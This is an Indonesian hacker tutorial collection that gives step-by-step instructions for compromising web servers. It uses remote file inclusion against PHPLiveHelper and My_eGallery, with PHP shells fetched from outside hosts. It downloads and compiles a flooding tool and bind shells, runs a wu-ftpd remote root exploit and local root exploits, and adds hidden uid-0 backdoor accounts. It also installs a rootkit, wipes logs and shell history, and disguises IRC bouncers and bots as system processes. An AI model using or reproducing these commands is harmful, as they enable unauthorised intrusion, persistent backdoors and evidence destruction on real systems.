Bila seluruh perintah diketik dalam huruf kapital, anda mungkin menemukan bahwa kebanyakan server bsia menerima kebijakan tersebut. Saat ini yang anda mengetahui apa yang harus diketik untuk terhubung ke IRC server, berikutnya kita akan belajar membuat program yang menghubungkan diri kita ke IRC server.

Salam.

Sumber :
Indonewbies.tk


Tembak IP

Penulis (th3sn0wbr4in) mengaggap bahwa temen-temen yang baca tulisan ini sudah bisa menginjek-injek
Target, dan mengerti sedikit tentang pengalamatan IP Address. Karena kalau belum 'biasa' injek, pasti
akan malu-malu dan gugup(xixixixixi) dan tentang Pengalamatan IP Address kalau ga tau sama sekali tentu
target yang akan lo tembak ga' bakal disconnect atau down.
Nah, kalau udah bisa inject dan mengerti sedikit tentang pengalamatan IP, langsung dech...







0o0 Pertama-tama Lo harus punya server yang siap inject [Klo' blom punya cari aja di Google.
th3sn0wbr4in punya nich sedikit target dan Bug-bug yang 'Mudah-mudahan' masih bisa dipake di sini

0o0 Untuk contoh ini gw pake Bug PHPLiveHelper dan Keyword untuk mencari targetnya di Google Gw coba
allinurl:"/PHPLiveHelper/*.php"

0o0 Gw coba salah satu hasil pencarian dari Google, yaitu http://www.maldivesrds.com/phplivehelper/mail.php?
ipadd=219.83.4.68&PHPSESSID=accdc7e62171c549536495c2b40a5dd3&department=1&livename=

0o0 Hapus tulisan /mail.php?ipadd=219.83.4.68&PHPSESSID=accdc7e62171c549536495c2b40a5dd3&department=1&
livename= dan tambahkan Bug dibelakang alamat URL targetnya, sehingga alamat targetnya menjadi
http://www.maldivesrds.com/phplivehelper/initiate.php?abs_path=http://freewebs.com/th3sn0wbr4in/tusuk.htm?

0o0 Nah...bisa di-inject kan...? Kita lihat UID - nya adalah nobody(99), gapapa dech...

0o0 Cari Direktory yang bisa ditulis ama user nobody. Seperti biasa, ketik command linuxnya. Lo bisa ketik
find / -type d -perm 777 atau find / -type d -user nobody nah nanti banyak tuch yang keluar...
/* Maksud dari command 1 di atas adalah untuk mencari dari Directory paling atas '/' tipenya Directory, dengan permisi
777 (rwx) untuk siapapun, termasuk user nobody */
/* Maksud dari command 2 di atas adalah untuk mencari dari Directory paling atas '/' tipenya Directory, milik user nobody.
Karena pemilik Directory bisa melakukan apapun pada Directory miliknya */
Cari dibelakangnya ga' ada tulisan Permission Denied, copy dan paste di paste di Field Directory di PHPShell kamu
dan [Enter]. Kalau semua ada tulisan Permission Denied, coba saja Directory /tmp, karena biasanya bermode 777.

0o0 Download file untuk tembak dengan menggunakan wget. Ketik wget http://freewebs.com/th3sn0wbr4in/tembak.c.
Jika wget tidak bisa digunakan (Command not found atau denied) gunakan lwp-download.
Ketik lwp-download http://freewebs.com/th3sn0wbr4in/tembak.c dan [Enter] aja langsung.
Kalau anda menggunakan wget akan keluar keterangan di PHPShell lo, +- seperti ini :





--02:39:51-- http://freewebs.com/th3sn0wbr4in/tembak.c
=> `tembak.c'
Resolving freewebs.com... 38.119.100.2
Connecting to freewebs.com[38.119.100.2]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,744 [text/x-csrc]

0K ... 100% 30.89 KB/s

02:39:51 (30.89 KB/s) - `Sambit.c' saved [3764/3764]

Nah, kalau udah muncul tulisan saved berarti udah kedownload filenya...
0o0 Compile file tembak.c tadi biar jadi file Executeable (kalau di WinDo$t Ekstensinya .exe kalau di Linux
tidak menggunakan Ekstensi).
Ketik gcc tembak.c -o tembak
Maksud Command di atas adalah menjalankan gcc, compile file tembak.c (Source Code C) dengan Output
file bernama tembak. Jadi nama tembak bisa lo ganti sesuai selera

0o0 Nah...sekarang, jalankan file tembak tadi. Ketik apa...?

0o0 ./tembak 219.83.4.68 80
0x01 ./ adalah Directory tempat kita menaruh file tembak
0x02 219.83.4.68 IP Warnet tempat gw maen
0x03 80 No Port. 80 untuk HTTP a.k.a Browsing
Untuk apa itu port. Stop tanya terus, buka Google! Cari yang ingin Lo cari!
0o0 Penutup
Akankah kita tetap menjadi anak kecil...? tanpa memberikan penghargaan terhadap penulis...?
atau anda masih berpegang teguh kepada pemikiran anak anak anda dengan merubah identitas
asli penulis dan kemudian mencantumkan nama anda sebagai author disini...?
Kenapa hal ini sering saya sampaikan...? karena Indonesia di mata komunitas IT luar negeri
sering dicap sebagai plagiator dan sering seenaknya mencantumkan kata `author` yang sebenarnya
mereka hanya meng-edit sedikit dari paper yang orang lain tulis, kadangkala mereka sendiri tidak
mengerti apa maksud dibalik tulisan tersebut.


Pasang Back Door

-*-------------------*-
-*- pasang backd00R -*-
-*-------------------*-


=====================
install shell php
=====================
###contohnya
http://livron.port5.com/mail.php <---------ini source shell
misalnya:
http://www.moonshade.com/modules/My_eGallery/public/displayCategory.php?basepath=http://www.geocities.com/lifron/suntik.txt?&cmd=wget%20http://livron.port5.com/mail.php -O log.php
bila keluar pesan "permission denied" cari lah folder lain yang bisa untuk wget shell.php kita
kalo bisa... buka:
http://www.target.org/modules/My_eGallery/public/log.php

==============
pasang bindtty
==============
###http://student.te.ugm.ac.id/~phoenix03/audit/bindedit.c
gcc -o /var/tmp/bind /var/tmp/bind.c;/var/tmp/bind 4000
diatas kita menggunakan port 4000 sebagai binding port, sekarang cek apakah port
4000 terbuka, scan dengan phnxscan.c yang dibuat penulis, anda dapat mendownload
source kodenya di http://student.te.ugm.ac.id/~phoenix03/tutorial/phnxscan.c. Kompile
dan ekskusi script tadi menggunakan gcc dan scanlah port 4000 servet www.target.com.
myshell~>gcc -o phnxscan phnxscan.c
myshell~> ping -c 2 target.com
PING target.com (210.189.77.28): 56 data bytes
64 bytes from 210.189.77.28: icmp_seq=0 ttl=38 time=428.044 ms
64 bytes from 210.189.77.28: icmp_seq=1 ttl=38 time=428.624 ms
--- target.com ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 428.044/428.334/428.624/0.290 ms
myshell~> phnxscan -p 4000 -s 210.189.77.28
port 4000 (tcp) terbuka
Telnet server target port 4000, jika berhasil maka anda akan disuruh memasukkan
password yang default dari scriptnya changeme
myshell~> telnet 210.189.77.28 4000
Trying 210.189.77.28...
Connected to target.com (210.189.77.28).
Escape character is '^]'.
---------------------------------------------------
#### cd /var/tmp ; wget www.geocities.com/lifron/bindtty -O /tmp/httpd ini biar hasil wgetnya di taro di folder /tmp dg nama file httpd
baru bikin file exekusi
chmod 755 /tmp/httpd
----------------------------------------------------
#### cd /var/tmp ; wget www.renjana.ws/~toa/bindtty
cd /var/tmp ; chmod 755 bindtty
cd /var/tmp ; ./bindtty
----------------------------------------------------





# test pake `uname -a` < kernel 2.4.20 ke bawah yg bisa
wget http://roseofworld.org/shell.tar
tar -zxvf shell.tar; cd webshell; ./1980
# klo uda buka putty > masukkan host > pilih telnet > isi port: 1980
# klo sukses maka akan masuk shell

### pake bind yg laen jika pengen shellnya ada passwd-nya
cd /var/tmp; wget geocities.com/pothei/nmap;chmod 755 nmap; ./nmap
# telnet ke host port 6665 passwd `stimik`

## cd /tmp; wget http://geocities.com/g4ptek/tools/bind.tgz
tar -zxvf bind.tgz;cd .bind; chmod 755 bindtty; ./dssl bindtty
telnet ke host port 6665 passwd `gagal`

## cd /var/tmp; wget http://geocities.com/g4ptek/tools/dns.php
# chmod 755 dns; ./dns
# telnet www.target.com 6029


-*-------------------*-
-*- belajar NgeRoot -*-
-*-------------------*-

### tahap ngeroot di shell yg tadi kita tembus
mkdir /tmp/temp.log
cd /tmp/temp.log
wget http://roseofworld.org/root.tar.gz
tar -zxvf root.tar.gz
cd root
./loginx 1970 1970
# jika tidak mendapat pesan error maka kmu sukses, pointer $ akan brubah menjadi #
# cek dengan `id` jika root jgn lupa bagi2 shellnya :p
### atau bisa ambil exploit di www.malanghack.net/alat/
mkdir /tmp/temp.log;cd /tmp/temp.log
wget http://www.malanghack.net/alat/w00t
chmod 755 w00t
./w00t
# jika ga muncul pesan error: you got root man!!
+----------------------------------------------------------------------------------------+

-*-----------------*-
-*- Cracking Root -*-
-*-----------------*-
Tips:
mkdir .bash <--- untuk membuat direktori bash
cd .bash <--- untuk masuk ke direktori bash
mkdir <--- untuk membuat direktory baru
cd <--- untuk masuk ke direktory yg anda mau
cd / <--- untuk keluar dari suatu direktory
rm -rf <--- untuk menghapus file/direktory
-*-----------------------------------------------*-
1. Tahap Pertama :
Cara instalasi Xpost dan ftp

wget http://cyberborneo.b0x.com/xpost.tgz
wget http://cyberborneo.b0x.com/ftp.tgz
tar -zxvf xpost.tgz
tar -zxvf ftp.tgz

-*------*-



2. Tahap Kedua
cd xpost
cd xwurm/
./scan 213.124
setelah dapat wu-scan.log
./masswu wu-scan.log
Setelah didapat pesan sebagai berikut

Trying get root 213.124.151.113 ...
SUCCESS, YOU HAVE ROOT IN 213.124.151.113 ...
Logged in log-root ...

Itu berarti anda telah dapat akses root di IP 213.124.151.113

-*------*-

3. Tahap Ketiga
Buka new sessiom dari putty ssh anda, login kembali ke shell anda

masuk ke direktory ftp anda

cd ftp
./awu 213.124.151.113 ( ip nya)

apabila anda sukses mendapat akses root nya maka akan keluar pesan sbb:

7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).

# trying to log into 213.124.151.113 with (ftp/mozilla@) ... connected.
# banner: 220 db-depot01 FTP server (Version wu-2.6.1-16) ready.
# successfully selected target from banner

### TARGET: RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]

# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
building chunk: ([0x0807314c] = 0x08085f98) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
###################################################################

uid=0(root) gid=0(root) groups=50(ftp)
Linux db-depot01 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown

whoami

root <-- berarti anda sedang dalam akses root

-*------*-

4. Tahap Keempat

Add login akses root anda
----------------------------------------------------------------

1. Cara I

(bukan utk redhat 7.2)
/usr/sbin/useradd rampok -u 0 -d /

passwd -d rampok
passwd rampok

su rampok <<--------untuk super user

2. Cara II

kalo mau dapet acces root ketik :

/usr/sbin/useradd crit -u 0 g- 0 -d /etc/crit
abis itu ketik lagi
passwd crit

wuasu666

Kemudian Add User untuk login shell anda

/usr/sbin/adduser html -g wheel -s /bin/bash -d /etc/html
passwd html
fuck666 2X

-*------*-

5. Tahap Kelima

Pasang backdor ke shell baru anda guna menjaga kemungkinan yg tidak di inginkan

wget www.utay-doyan.cc/shv4.tar.gz
tar -zxvf shv4.tar.gz
cd shv4
./setup pass yang dimau port yang dimau

contoh : --> ./setup wuasu 7000
cd /

wget http://cyberborneo.b0x.com/cleaner.tgz
tar -zxvf cleaner.tgz
cd cleaner
./install

Jangan lupa untuk menghapus file backdor anda tadi untuk menghapus jejak

rm -rf cleaner.tgz

rm -rf shv4.tar.gz

-*------*-

6. Tahap Keenam

Hapus jejak ngeroot anda ketik perintah berikut:

rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /devory
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat > /var/log/lastlog
ctrl d

SELESAI.....


---------------------------------------------------------------------------------
-*-----------------*-
-*- all IN one -*-
-*-----------------*-
Trik membuat PsyBnc, Menghapus file Log, membuat BACK DOOR , ..... << lengkapnya >>


---------------------------------------------------------------------------------
-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc Yang aman :P~ --*-
-*------------------------------------------*-

mkdir "...." <<-- ini dia direktori kita setelah itu kita masuk ke direktori tersebut
cd "...." <<-- masuk ke direktori
wget wget http://www.psychoid.lam3rz.de/psyBNC2.2.1-linux-i86-static.tar.gz
mv psyBNC2.2.1-linux-i86-static.tar.gz .sh
tar -zxvf .sh
mv psybnc .log
cd .log
make
echo "PSYBNC.SYSTEM.PORT1=110" >> user.conf
echo "PSYBNC.SYSTEM.HOST1=*" >> user.conf
echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*" >> user.conf
pwd
/home/scut/..../.log
ketik command:
PATH=$PATH:/home/scut/"...."/.log
mv psybnc "[identd] "
mv scut.conf " "
"[identd] " " "

.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000 the most psychoid and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File:
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 11111
psyBNC2.2.1-cBtITLdDMSNp started (PID 2291)
[scut@d11303 .log]$


ps -x untuk mengetahui proses di background shell
[scut@d11303 .log]$ ps -x
PID TTY STAT TIME COMMAND
31544 ? S 0:16 ./bash
31629 ? S 0:06 sendmail to scut
2212 pts/1 S 0:00 -bash
2291 pts/1 S 0:00 [identd]
2309 pts/1 R 0:00 ps -x
catatan: 2291 pts/1 S 0:00 [identd] <<-- ini adalah background
psybnc anda yang berubah setelah kita lakukan trik tersebut namun jangan keburu gembira dahulu, karena mungkin admin curiga dengan background yang ada di server tersebut dan admin akan mencarinya dengan:

find | grep psybnc <<-- kemungkinan yang dilakukan karena biasanya admin tahu kalau user selalu run psybnc maka akan nampak nama nama psybnc anda
./log/psybnc.log
./log/psybnc.log.old
./psybncchk
./psybnc.pid

Untuk itu kita perlu mengganti nama nama tersebut dengan yang lain semisal
[scut@d11303 .log]$ mv psybnc.pid .log
[scut@d11303 log]$ mv psybnc.log .sh
[scut@d11303 log]$ mv psybnc.log.old .mud

Dengan cara tersebut kemungkinan sang admin nggak akan curiga terhadap background yang ada di server anda ;) dan yang terakhir jangan lupa bersihkan log anda dengan mengetik command:
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /dev/null /.bash_history
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
Atau bisa juga menggunakan remove.c yang ada di situs k-elektronik :) selamat mencoba

-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc II --*-
-*------------------------------------------*-
wget http://www.geocities.com/g4ptek/tools/psy.tar.gz
tar -zxvf psy.tar.gz
rm -rf psy.tar.gz
cd .cgi;
./config 21221;-----------> port ubah sesuai keinginan
./fuck;./run
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000 the most psychoid and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File:ssstt
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 21221
psyBNC2.2.1-cBtITLdDMSNp started (PID 2291)
# usage:
# buka mirc, setting identd bebas, nick bebas
ketik /server www.target.com 21221

-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc II Freebsd --*-
-*------------------------------------------*-
# wget http://www.geocities.com/g4ptek/tools/bnc.tar.gz
# tar -zxvf bnc.tar.gz
# rm -rf bnc.tar.gz
# cd .ls
# chmod 755 ls
# ./ls
-*-----------------------------------*-
-*- Cara Mudah Untuk membuat BOT I -*-
-*-----------------------------------*-

NB: BOT Ini akan otomatis jalan pada server dalnet " Husus Untuk dalnet server "
1. wget brendanspaar.com/modules/coppermine/albums/kinabot.tar.gz
atau brendanspaar.com/modules/coppermine/albums/kinabot.tar.bz2 <--untuk tambahan creat.tcl
2. tar -zvxf kinabot.tar.gz untuk kinabot.tar.gz
tar -jxvf kinabot.tar.bz2 untuk kinabot.tar.bz2
3. cd .kin
4. ./creat fileconf nick ident IP channel owner

contoh: ./creat defaced s4nd4l_j3p1t s4nd4l 212.88.174.3 defaced g4ptek
defaced.................... file conf yg akan dibuat (akan terbuat dgn sendirinya)
s4nd4l_j3p1t ...............nick bot
s4nd4l ...................ident bot
212.88.174.3 .......IP shell defaced ..................... nama channel, jangan pake #
g4ptek ................ nick owner

catatan: bila nick mengandung karakter yg gak biasa mis: ` maka sebelum karakter tsb tambahkan tanda \ (backslash)
contoh: mich`keren -> mich\`keren

5. ./eggdrop -m fileconf
atau ./run fileconf fakename
fakename dapat dilihat dgn perintah ps x, cari aja proses yg paling banyak terlihat

contoh ./run a.txt /usr/local/apache/bin/httpd ( /usr/local/apache/bin/httpd = fake namenya)
Udah deh! tunggu aja di channel, ato whois aja nicknya.
Bila ingin tambahkan tcl lain seperti creat.tcl :

2. ./tcl -t fileconf creat.tcl
contoh: ./tcl -t a creat.tcl ( lihat keterangan dengan perintah ./tcl )
untuk penggunaan bisa diliat dengan command/perintah !creat dichannel

-*-----------------------------------*-
-*- Cara Mudah Untuk membuat BOT II -*-
-*-----------------------------------*-

wget http://geocities.com/g4ptek/tools/bot.tar.gz
tar -zxvf bot.tar.gz
rm -rf bot.tar.gz
cd .share
# download bot.txt ke kompi lalu edit settingnya sesuai kebutuhan, kemudian upload lagi
# contoh: http://verzekering.it/voorwaarden/.conf/scripts/bot4.txt
# klo mau nambah tcl masuk ke folder .share/scripts/ download semua tcl yg perlu dr http://verzekering.it/voorwaarden/.conf/scripts/ dan tambahkan kedalam folder .share/scripts/
# klo pengen tcl-nya jalan jgn lupa tambahkan ke file /.share/bot.txt (bagian paling bawah) terus upload lagi
./shade "httpd" ./eggdrop -m bot.txt
# usage:
# pv bot kamu di channel
# /msg nick-bot-kamu auth
# /msg nick-bot-kamu pass
# /msg nick-bot-kamu auth

Selamat BikiN Bot....

rewritten on barata jaya SBY, February 6th 2006 by g4ptek